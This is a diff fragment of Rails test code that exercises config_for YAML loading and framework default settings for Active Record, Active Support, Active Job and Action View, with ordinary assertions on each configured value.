+
+    test "config_for returns only the env array when shared is an array" do
+      set_custom_config <<~RUBY
+        development:
+          - baz
+        shared:
+          - foo
+          - bar
+      RUBY
+
+      app "development"
+
+      assert_equal %w( baz ), Rails.application.config.my_custom_config
+    end
+
+    test "config_for uses the Pathname object if it is provided" do
+      set_custom_config <<~RUBY, "Pathname.new(Rails.root.join('config/custom.yml'))"
+        development:
+          key: 'custom key'
       RUBY
 
+      app "development"
+
+      assert_equal "custom key", Rails.application.config.my_custom_config[:key]
+    end
+
+    test "config_for raises an exception if the file does not exist" do
       add_to_config <<-RUBY
         config.my_custom_config = config_for('custom')
       RUBY
@@ -1468,28 +2626,145 @@ def index
         app "development"
       end
 
-      assert_match "YAML syntax error occurred while parsing", exception.message
+      assert_equal "Could not load configuration. No such file - #{app_path}/config/custom.yml", exception.message
+    end
+
+    test "config_for without the environment configured returns nil" do
+      set_custom_config <<~RUBY
+        test:
+          key: 'custom key'
+      RUBY
+
+      app "development"
+
+      assert_nil Rails.application.config.my_custom_config
+    end
+
+    test "config_for shared config is overridden" do
+      set_custom_config <<~RUBY
+        shared:
+          foo: :from_shared
+        test:
+          foo: :from_env
+      RUBY
+
+      app "test"
+
+      assert_equal :from_env, Rails.application.config.my_custom_config[:foo]
+    end
+
+    test "config_for shared config is returned when environment is missing" do
+      set_custom_config <<~RUBY
+        shared:
+          foo: :from_shared
+        test:
+          foo: :from_env
+      RUBY
+
+      app "development"
+
+      assert_equal :from_shared, Rails.application.config.my_custom_config[:foo]
+    end
+
+    test "config_for merges shared configuration deeply" do
+      set_custom_config <<~RUBY
+        shared:
+          foo:
+            bar:
+              baz: 1
+        development:
+          foo:
+            bar:
+              qux: 2
+      RUBY
+
+      app "development"
+
+      assert_equal({ baz: 1, qux: 2 }, Rails.application.config.my_custom_config[:foo][:bar])
+    end
+
+    test "config_for with empty file returns nil" do
+      set_custom_config ""
+
+      app "development"
+
+      assert_nil Rails.application.config.my_custom_config
+    end
+
+    test "config_for containing ERB tags should evaluate" do
+      set_custom_config <<~YAML
+        development:
+          key: <%= 'custom key' %>
+      YAML
+
+      app "development"
+
+      assert_equal "custom key", Rails.application.config.my_custom_config[:key]
+    end
+
+    test "config_for with syntax error show a more descriptive exception" do
+      set_custom_config <<~RUBY
+        development:
+          key: foo:
+      RUBY
+
+      error = assert_raises RuntimeError do
+        app "development"
+      end
+      assert_match "YAML syntax error occurred while parsing", error.message
     end
 
     test "config_for allows overriding the environment" do
-      app_file "config/custom.yml", <<-RUBY
+      set_custom_config <<~RUBY, "'custom', env: 'production'"
         test:
           key: 'walrus'
         production:
-            key: 'unicorn'
+          key: 'unicorn'
       RUBY
 
-      add_to_config <<-RUBY
-          config.my_custom_config = config_for('custom', env: 'production')
-      RUBY
       require "#{app_path}/config/environment"
 
-      assert_equal "unicorn", Rails.application.config.my_custom_config["key"]
+      assert_equal "unicorn", Rails.application.config.my_custom_config[:key]
+    end
+
+    test "config_for handles YAML patches (like safe_yaml) that disable the symbolize_names option" do
+      app_file "config/custom.yml", <<~RUBY
+        development:
+          key: value
+      RUBY
+
+      app "development"
+
+      YAML.stub :load, { "development" => { "key" => "value" } } do
+        assert_equal({ key: "value" }, Rails.application.config_for(:custom))
+      end
+    end
+
+    test "config_for returns a ActiveSupport::OrderedOptions" do
+      app_file "config/custom.yml", <<~YAML
+        shared:
+          some_key: default
+
+        development:
+          some_key: value
+
+        test:
+      YAML
+
+      app "development"
+
+      config = Rails.application.config_for(:custom)
+      assert_instance_of ActiveSupport::OrderedOptions, config
+      assert_equal "value", config.some_key
+
+      config = Rails.application.config_for(:custom, env: :test)
+      assert_instance_of ActiveSupport::OrderedOptions, config
+      assert_equal "default", config.some_key
     end
 
     test "api_only is false by default" do
       app "development"
-      refute Rails.application.config.api_only
+      assert_not Rails.application.config.api_only
     end
 
     test "api_only generator config is set when api_only is set" do
@@ -1527,23 +2802,2442 @@ def index
       assert_equal :default, Rails.configuration.debug_exception_response_format
     end
 
-    test "controller force_ssl declaration can be used even if session_store is disabled" do
-      make_basic_app do |application|
-        application.config.session_store :disabled
-      end
+    test "debug_exception_log_level is :fatal by default for upgraded apps" do
+      make_basic_app
 
       class ::OmgController < ActionController::Base
-        force_ssl
+        def index
+          render plain: request.env["action_dispatch.debug_exception_log_level"]
+        end
+      end
+
+      get "/"
+
+      assert_equal "4", last_response.body
+    end
+
+    test "debug_exception_log_level is :error for new apps" do
+      make_basic_app do |app|
+        app.config.load_defaults "7.1"
+      end
 
+      class ::OmgController < ActionController::Base
         def index
-          render plain: "Yay! You're on Rails!"
+          render plain: request.env["action_dispatch.debug_exception_log_level"]
         end
       end
 
       get "/"
 
-      assert_equal 301, last_response.status
-      assert_equal "https://example.org/", last_response.location
+      assert_equal "3", last_response.body
+    end
+
+    test "ActiveRecord::Base.has_many_inversing is true by default for new apps" do
+      app "development"
+
+      assert_equal true, ActiveRecord::Base.has_many_inversing
+    end
+
+    test "ActiveRecord::Base.has_many_inversing is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal false, ActiveRecord::Base.has_many_inversing
+    end
+
+    test "ActiveRecord::Base.has_many_inversing can be configured via config.active_record.has_many_inversing" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_6_1.rb", <<-RUBY
+        Rails.application.config.active_record.has_many_inversing = true
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::Base.has_many_inversing
     end
+
+    test "ActiveRecord::Base.automatic_scope_inversing is true by default for new apps" do
+      app "development"
+
+      assert_equal true, ActiveRecord::Base.automatic_scope_inversing
+    end
+
+    test "ActiveRecord::Base.automatic_scope_inversing is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal false, ActiveRecord::Base.automatic_scope_inversing
+    end
+
+    test "ActiveRecord::Base.automatic_scope_inversing can be configured via config.active_record.automatic_scope_inversing" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_7_0.rb", <<-RUBY
+        Rails.application.config.active_record.automatic_scope_inversing = true
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::Base.automatic_scope_inversing
+    end
+
+    test "ActiveRecord.verify_foreign_keys_for_fixtures is true by default for new apps" do
+      app "development"
+
+      assert_equal true, ActiveRecord.verify_foreign_keys_for_fixtures
+    end
+
+    test "ActiveRecord.verify_foreign_keys_for_fixtures is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal false, ActiveRecord.verify_foreign_keys_for_fixtures
+    end
+
+    test "ActiveRecord.verify_foreign_keys_for_fixtures can be configured via config.active_record.verify_foreign_keys_for_fixtures" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_7_0.rb", <<-RUBY
+        Rails.application.config.active_record.verify_foreign_keys_for_fixtures = true
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord.verify_foreign_keys_for_fixtures
+    end
+
+    test "Deprecated Associations can be configured via config.active_record.deprecated_associations_options" do
+      original_options = ActiveRecord.deprecated_associations_options
+
+      # Make sure we test something.
+      assert_not_equal :notify, original_options[:mode]
+      assert_not original_options[:backtrace]
+
+      add_to_config <<-RUBY
+        config.active_record.deprecated_associations_options = { mode: :notify, backtrace: true }
+      RUBY
+
+      app "development"
+
+      assert_equal :notify, ActiveRecord.deprecated_associations_options[:mode]
+      assert ActiveRecord.deprecated_associations_options[:backtrace]
+    ensure
+      ActiveRecord.deprecated_associations_options = original_options
+    end
+
+    test "ActiveRecord::Base.run_commit_callbacks_on_first_saved_instances_in_transaction is false by default for new apps" do
+      app "development"
+
+      assert_equal false, ActiveRecord::Base.run_commit_callbacks_on_first_saved_instances_in_transaction
+    end
+
+    test "ActiveRecord::Base.run_commit_callbacks_on_first_saved_instances_in_transaction is true by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal true, ActiveRecord::Base.run_commit_callbacks_on_first_saved_instances_in_transaction
+    end
+
+    test "ActiveRecord::Base.run_commit_callbacks_on_first_saved_instances_in_transaction can be configured via config.active_record.run_commit_callbacks_on_first_saved_instances_in_transaction" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_7_0.rb", <<-RUBY
+        Rails.application.config.active_record.run_commit_callbacks_on_first_saved_instances_in_transaction = false
+      RUBY
+
+      app "development"
+
+      assert_equal false, ActiveRecord::Base.run_commit_callbacks_on_first_saved_instances_in_transaction
+    end
+
+    test "config.active_record.use_legacy_signed_id_verifier is :generate_and_verify by default for new apps" do
+      app "development"
+
+      assert_equal :generate_and_verify, Rails.application.config.active_record.use_legacy_signed_id_verifier
+    end
+
+    test "Rails.application.message_verifiers['active_record/signed_id'] generates and verifies messages using legacy options when config.active_record.use_legacy_signed_id_verifier is :generate_and_verify" do
+      add_to_config <<-RUBY
+        config.active_record.use_legacy_signed_id_verifier = :generate_and_verify
+        config.secret_key_base = "secret"
+      RUBY
+
+      app "development"
+
+      signed_id_verifier = Rails.application.message_verifiers["active_record/signed_id"]
+
+      secret = app.key_generator.generate_key("active_record/signed_id")
+      legacy_verifier = ActiveSupport::MessageVerifier.new(secret, digest: "SHA256", serializer: JSON, url_safe: true)
+
+      assert_equal "message", legacy_verifier.verify(signed_id_verifier.generate("message"))
+      assert_equal "message", signed_id_verifier.verify(legacy_verifier.generate("message"))
+    end
+
+    test "Rails.application.message_verifiers['active_record/signed_id'] verifies messages using legacy options when config.active_record.use_legacy_signed_id_verifier is :verify" do
+      add_to_config <<-RUBY
+        config.active_record.use_legacy_signed_id_verifier = :verify
+        config.secret_key_base = "secret"
+      RUBY
+
+      app "development"
+
+      signed_id_verifier = Rails.application.message_verifiers["active_record/signed_id"]
+
+      secret = app.key_generator.generate_key("active_record/signed_id")
+      legacy_verifier = ActiveSupport::MessageVerifier.new(secret, digest: "SHA256", serializer: JSON, url_safe: true)
+
+      assert_equal "message", signed_id_verifier.verify(legacy_verifier.generate("message"))
+      assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+        legacy_verifier.verify(signed_id_verifier.generate("message"))
+      end
+    end
+
+    test "Rails.application.message_verifiers['active_record/signed_id'] does not use legacy options when config.active_record.use_legacy_signed_id_verifier is false" do
+      add_to_config <<-RUBY
+        config.active_record.use_legacy_signed_id_verifier = false
+        config.secret_key_base = "secret"
+      RUBY
+
+      app "development"
+
+      signed_id_verifier = Rails.application.message_verifiers["active_record/signed_id"]
+
+      secret = app.key_generator.generate_key("active_record/signed_id")
+      legacy_verifier = ActiveSupport::MessageVerifier.new(secret, digest: "SHA256", serializer: JSON, url_safe: true)
+
+      assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+        signed_id_verifier.verify(legacy_verifier.generate("message"))
+      end
+      assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+        legacy_verifier.verify(signed_id_verifier.generate("message"))
+      end
+    end
+
+    test "raises when config.active_record.use_legacy_signed_id_verifier has invalid value" do
+      add_to_config <<-RUBY
+        config.active_record.use_legacy_signed_id_verifier = :invalid_option
+      RUBY
+
+      assert_raise(match: /config.active_record.use_legacy_signed_id_verifier/) do
+        app "development"
+      end
+    end
+
+    test "ActiveRecord.message_verifiers is Rails.application.message_verifiers" do
+      app "development"
+
+      assert_same Rails.application.message_verifiers, ActiveRecord.message_verifiers
+    end
+
+    test "PostgresqlAdapter.decode_dates is true by default for new apps" do
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_dates
+    end
+
+    test "PostgresqlAdapter.decode_dates is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+
+      app "development"
+
+      assert_equal false, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_dates
+    end
+
+    test "PostgresqlAdapter.decode_dates can be configured via config.active_record.postgresql_adapter_decode_dates" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config "config.active_record.postgresql_adapter_decode_dates = true"
+
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_dates
+    end
+
+    test "PostgresqlAdapter.decode_money is true by default for new apps" do
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_money
+    end
+
+    test "PostgresqlAdapter.decode_money is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+
+      app "development"
+
+      assert_equal false, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_money
+    end
+
+    test "PostgresqlAdapter.decode_money can be configured via config.active_record.postgresql_adapter_decode_money" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config "config.active_record.postgresql_adapter_decode_money = true"
+
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_money
+    end
+
+    test "PostgresqlAdapter.decode_bytea is true by default for new apps" do
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_bytea
+    end
+
+    test "PostgresqlAdapter.decode_bytea is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+
+      app "development"
+
+      assert_equal false, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_bytea
+    end
+
+    test "PostgresqlAdapter.decode_bytea can be configured via config.active_record.postgresql_adapter_decode_bytea" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config "config.active_record.postgresql_adapter_decode_bytea = true"
+
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "postgresql")
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_bytea
+    end
+
+    test "SQLite3Adapter.strict_strings_by_default is true by default for new apps" do
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::ConnectionAdapters::SQLite3Adapter.strict_strings_by_default
+    end
+
+    test "SQLite3Adapter.strict_strings_by_default is false by default for upgraded apps" do
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      remove_from_config '.*config\.load_defaults.*\n'
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+      RUBY
+
+      app "development"
+
+      assert_equal false, ActiveRecord::ConnectionAdapters::SQLite3Adapter.strict_strings_by_default
+
+      Post.lease_connection.create_table :posts
+      assert_nothing_raised do
+        Post.lease_connection.add_index :posts, :non_existent
+      end
+    end
+
+    test "SQLite3Adapter.strict_strings_by_default can be configured via config.active_record.sqlite3_adapter_strict_strings_by_default" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config "config.active_record.sqlite3_adapter_strict_strings_by_default = true"
+
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::ConnectionAdapters::SQLite3Adapter.strict_strings_by_default
+    end
+
+    test "SQLite3Adapter.strict_strings_by_default can be configured via config.active_record.sqlite3_adapter_strict_strings_by_default in an initializer" do
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      remove_from_config '.*config\.load_defaults.*\n'
+      app_file "config/initializers/new_framework_defaults_7_1.rb", <<-RUBY
+        Rails.application.config.active_record.sqlite3_adapter_strict_strings_by_default = true
+      RUBY
+      app_file "config/initializers/active_record.rb", <<~RUBY
+        ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveRecord::ConnectionAdapters::SQLite3Adapter.strict_strings_by_default
+
+      Post.lease_connection.create_table :posts
+      error = assert_raises(StandardError) do
+        Post.lease_connection.add_index :posts, :non_existent
+      end
+
+      assert_match(/no such column: "?non_existent"?/, error.message)
+    end
+
+    test "ActiveSupport::MessageEncryptor.use_authenticated_message_encryption is true by default for new apps" do
+      app "development"
+
+      assert_equal true, ActiveSupport::MessageEncryptor.use_authenticated_message_encryption
+    end
+
+    test "ActiveSupport::MessageEncryptor.use_authenticated_message_encryption is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal false, ActiveSupport::MessageEncryptor.use_authenticated_message_encryption
+    end
+
+    test "ActiveSupport::MessageEncryptor.use_authenticated_message_encryption can be configured via config.active_support.use_authenticated_message_encryption" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_6_0.rb", <<-RUBY
+        Rails.application.config.active_support.use_authenticated_message_encryption = true
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActiveSupport::MessageEncryptor.use_authenticated_message_encryption
+    end
+
+    test "ActiveSupport::Digest.hash_digest_class is OpenSSL::Digest::SHA256 by default for new apps" do
+      app "development"
+
+      assert_equal OpenSSL::Digest::SHA256, ActiveSupport::Digest.hash_digest_class
+    end
+
+    test "ActiveSupport::Digest.hash_digest_class is OpenSSL::Digest::MD5 by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal OpenSSL::Digest::MD5, ActiveSupport::Digest.hash_digest_class
+    end
+
+    test "ActiveSupport::Digest.hash_digest_class can be configured via config.active_support.hash_digest_class" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/custom_digest_class.rb", <<-RUBY
+        Rails.application.config.active_support.hash_digest_class = OpenSSL::Digest::SHA256
+      RUBY
+
+      app "development"
+
+      assert_equal OpenSSL::Digest::SHA256, ActiveSupport::Digest.hash_digest_class
+    end
+
+    test "ActiveSupport::KeyGenerator.hash_digest_class is OpenSSL::Digest::SHA256 by default for new apps" do
+      app "development"
+
+      assert_equal OpenSSL::Digest::SHA256, ActiveSupport::KeyGenerator.hash_digest_class
+    end
+
+    test "ActiveSupport::KeyGenerator.hash_digest_class is OpenSSL::Digest::SHA1 by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app "development"
+
+      assert_equal OpenSSL::Digest::SHA1, ActiveSupport::KeyGenerator.hash_digest_class
+    end
+
+    test "ActiveSupport::KeyGenerator.hash_digest_class can be configured via config.active_support.key_generator_hash_digest_class" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/custom_key_generator_digest_class.rb", <<-RUBY
+        Rails.application.config.active_support.key_generator_hash_digest_class = OpenSSL::Digest::SHA256
+      RUBY
+
+      app "development"
+
+      assert_equal OpenSSL::Digest::SHA256, ActiveSupport::KeyGenerator.hash_digest_class
+    end
+
+    test "ActiveSupport.test_parallelization_threshold can be configured via config.active_support.test_parallelization_threshold" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/environments/test.rb", <<-RUBY
+        Rails.application.configure do
+          config.active_support.test_parallelization_threshold = 1234
+        end
+      RUBY
+
+      app "test"
+
+      assert_equal 1234, ActiveSupport.test_parallelization_threshold
+    end
+
+    test "ActiveSupport.parallelize_test_databases can be configured via config.active_support.parallelize_test_databases" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/environments/test.rb", <<-RUBY
+        Rails.application.configure do
+          config.active_support.parallelize_test_databases = false
+        end
+      RUBY
+
+      app "test"
+
+      assert_not ActiveSupport.parallelize_test_databases
+    end
+
+    test "config.active_job.verbose_enqueue_logs defaults to true in development" do
+      build_app
+      app "development"
+
+      assert ActiveJob.verbose_enqueue_logs
+    end
+
+    test "config.active_job.verbose_enqueue_logs defaults to false in production" do
+      build_app
+      app "production"
+
+      assert_not ActiveJob.verbose_enqueue_logs
+    end
+
+    test "config.active_job.enqueue_after_transaction_commit is deprecated" do
+      app_file "config/initializers/enqueue_after_transaction_commit.rb", <<-RUBY
+      Rails.application.config.active_job.enqueue_after_transaction_commit = true
+      RUBY
+
+      app "production"
+
+      assert_nothing_raised do
+        ActiveRecord::Base
+      end
+
+      assert_equal false, ActiveJob::Base.enqueue_after_transaction_commit
+    end
+
+    test "active record job queue is set" do
+      app "development"
+
+      assert_equal({}, ActiveRecord.queues)
+    end
+
+    test "destroy association async job should be loaded in configs" do
+      app "development"
+
+      assert_equal ActiveRecord::DestroyAssociationAsyncJob, ActiveRecord::Base.destroy_association_async_job
+    end
+
+    test "ActiveRecord::Base.destroy_association_async_job can be configured via config.active_record.destroy_association_async_job" do
+      class ::DummyDestroyAssociationAsyncJob; end
+
+      app_file "config/environments/test.rb", <<-RUBY
+        Rails.application.configure do
+          config.active_record.destroy_association_async_job = "DummyDestroyAssociationAsyncJob"
+        end
+      RUBY
+
+      app "test"
+
+      assert_equal DummyDestroyAssociationAsyncJob, ActiveRecord::Base.destroy_association_async_job
+    end
+
+    test "destroy association async batch size is nil by default" do
+      app "development"
+
+      assert_nil ActiveRecord::Base.destroy_association_async_batch_size
+    end
+
+    test "destroy association async batch size can be set in configs" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.active_record.destroy_association_async_batch_size = 100
+        end
+      RUBY
+
+      app "development"
+
+      assert_equal 100, ActiveRecord::Base.destroy_association_async_batch_size
+    end
+
+    test "ActionView::Helpers::FormTagHelper.default_enforce_utf8 is false by default" do
+      app "development"
+      assert_equal false, ActionView::Helpers::FormTagHelper.default_enforce_utf8
+    end
+
+    test "ActionView::Helpers::FormTagHelper.default_enforce_utf8 is true in an upgraded app" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "5.2"'
+
+      app "development"
+
+      assert_equal true, ActionView::Helpers::FormTagHelper.default_enforce_utf8
+    end
+
+    test "ActionView::Helpers::FormTagHelper.default_enforce_utf8 can be configured via config.action_view.default_enforce_utf8" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_6_0.rb", <<-RUBY
+        Rails.application.config.action_view.default_enforce_utf8 = true
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActionView::Helpers::FormTagHelper.default_enforce_utf8
+    end
+
+    test "ActionView::Helpers::UrlHelper.button_to_generates_button_tag is true by default" do
+      app "development"
+      assert_equal true, ActionView::Helpers::UrlHelper.button_to_generates_button_tag
+    end
+
+    test "ActionView::Helpers::UrlHelper.button_to_generates_button_tag is false by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.1"'
+      app "development"
+
+      assert_equal false, ActionView::Helpers::UrlHelper.button_to_generates_button_tag
+    end
+
+    test "ActionView::Helpers::UrlHelper.button_to_generates_button_tag can be configured via config.action_view.button_to_generates_button_tag" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_7_0.rb", <<-RUBY
+        Rails.application.config.action_view.button_to_generates_button_tag = true
+      RUBY
+
+      app "development"
+
+      assert_equal true, ActionView::Helpers::UrlHelper.button_to_generates_button_tag
+    end
+
+    test "ActionView::Helpers::AssetTagHelper.image_loading is nil by default" do
+      app "development"
+      assert_nil ActionView::Helpers::AssetTagHelper.image_loading
+    end
+
+    test "ActionView::Helpers::AssetTagHelper.image_loading can be configured via config.action_view.image_loading" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.action_view.image_loading = "lazy"
+        end
+      RUBY
+
+      app "development"
+
+      assert_equal "lazy", ActionView::Helpers::AssetTagHelper.image_loading
+    end
+
+    test "ActionView::Helpers::AssetTagHelper.image_decoding is nil by default" do
+      app "development"
+      assert_nil ActionView::Helpers::AssetTagHelper.image_decoding
+    end
+
+    test "ActionView::Helpers::AssetTagHelper.image_decoding can be configured via config.action_view.image_decoding" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.action_view.image_decoding = "async"
+        end
+      RUBY
+
+      app "development"
+
+      assert_equal "async", ActionView::Helpers::AssetTagHelper.image_decoding
+    end
+
+    test "ActionView::Helpers::AssetTagHelper.preload_links_header is true by default" do
+      app "development"
+      assert_equal true, ActionView::Helpers::AssetTagHelper.preload_links_header
+    end
+
+    test "ActionView::Helpers::AssetTagHelper.preload_links_header is nil by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_config 'config.load_defaults "6.0"'
+      app "development"
+
+      assert_nil ActionView::Helpers::AssetTagHelper.preload_links_header
+    end
+
+    test "ActionView::Helpers::AssetTagHelper.preload_links_header can be configured via config.action_view.preload_links_header" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.action_view.preload_links_header = false
+        end
+      RUBY
+
+      app "development"
+
+      assert_equal false, ActionView::Helpers::AssetTagHelper.preload_links_header
+    end
+
+    test "ActionView::Helpers::AssetTagHelper.apply_stylesheet_media_default is true by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      app "development"
+
+      assert_equal true, ActionView::Helpers::AssetTagHelper.apply_stylesheet_media_default
+    end
+
+    test "ActionView::Helpers::AssetTagHelper.apply_stylesheet_media_default can be configured via config.action_view.apply_stylesheet_media_default" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_7_0.rb", <<-RUBY
+        Rails.application.config.action_view.apply_stylesheet_media_default = false
+      RUBY
+
+      app "development"
+
+      assert_equal false, ActionView::Helpers::AssetTagHelper.apply_stylesheet_media_default
+    end
+
+    test "stylesheet_link_tag sets the link header by default" do
+      app_file "app/controllers/pages_controller.rb", <<-RUBY
+      class PagesController < ApplicationController
+        def index
+          render inline: "<%= stylesheet_link_tag '/application.css' %>"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app "development"
+
+      get "/"
+      assert_match %r[<link rel="stylesheet" href="/application.css" />], last_response.body
+      assert_equal "</application.css>; rel=preload; as=style; nopush", last_response.headers["link"]
+    end
+
+    test "stylesheet_link_tag doesn't set the link header when disabled" do
+      app_file "config/initializers/action_view.rb", <<-RUBY
+        Rails.application.config.action_view.preload_links_header = false
+      RUBY
+
+      app_file "app/controllers/pages_controller.rb", <<-RUBY
+      class PagesController < ApplicationController
+        def index
+          render inline: "<%= stylesheet_link_tag '/application.css' %>"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app "development"
+
+      get "/"
+      assert_match %r[<link rel="stylesheet" href="/application.css" />], last_response.body
+      assert_nil last_response.headers["link"]
+    end
+
+    test "javascript_include_tag sets the link header by default" do
+      app_file "app/controllers/pages_controller.rb", <<-RUBY
+      class PagesController < ApplicationController
+        def index
+          render inline: "<%= javascript_include_tag '/application.js' %>"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app "development"
+
+      get "/"
+      assert_match %r[<script src="/application.js"></script>], last_response.body
+      assert_equal "</application.js>; rel=preload; as=script; nopush", last_response.headers["link"]
+    end
+
+    test "javascript_include_tag doesn't set the link header when disabled" do
+      app_file "config/initializers/action_view.rb", <<-RUBY
+        Rails.application.config.action_view.preload_links_header = false
+      RUBY
+
+      app_file "app/controllers/pages_controller.rb", <<-RUBY
+      class PagesController < ApplicationController
+        def index
+          render inline: "<%= javascript_include_tag '/application.js' %>"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          root to: "pages#index"
+        end
+      RUBY
+
+      app "development"
+
+      get "/"
+      assert_match %r[<script src="/application.js"></script>], last_response.body
+      assert_nil last_response.headers["link"]
+    end
+
+    test "ActiveJob::Base.retry_jitter is 0.15 by default for new apps" do
+      app "development"
+
+      assert_equal 0.15, ActiveJob::Base.retry_jitter
+    end
+
+    test "ActiveJob::Base.retry_jitter is 0.0 by default for upgraded apps" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      app "development"
+
+      assert_equal 0.0, ActiveJob::Base.retry_jitter
+    end
+
+    test "ActiveJob::Base.retry_jitter can be set by config" do
+      app "development"
+
+      Rails.application.config.active_job.retry_jitter = 0.22
+
+      assert_equal 0.22, ActiveJob::Base.retry_jitter
+    end
+
+    test "Rails.application.config.action_dispatch.cookies_same_site_protection is :lax by default" do
+      app "production"
+
+      assert_equal :lax, Rails.application.config.action_dispatch.cookies_same_site_protection
+    end
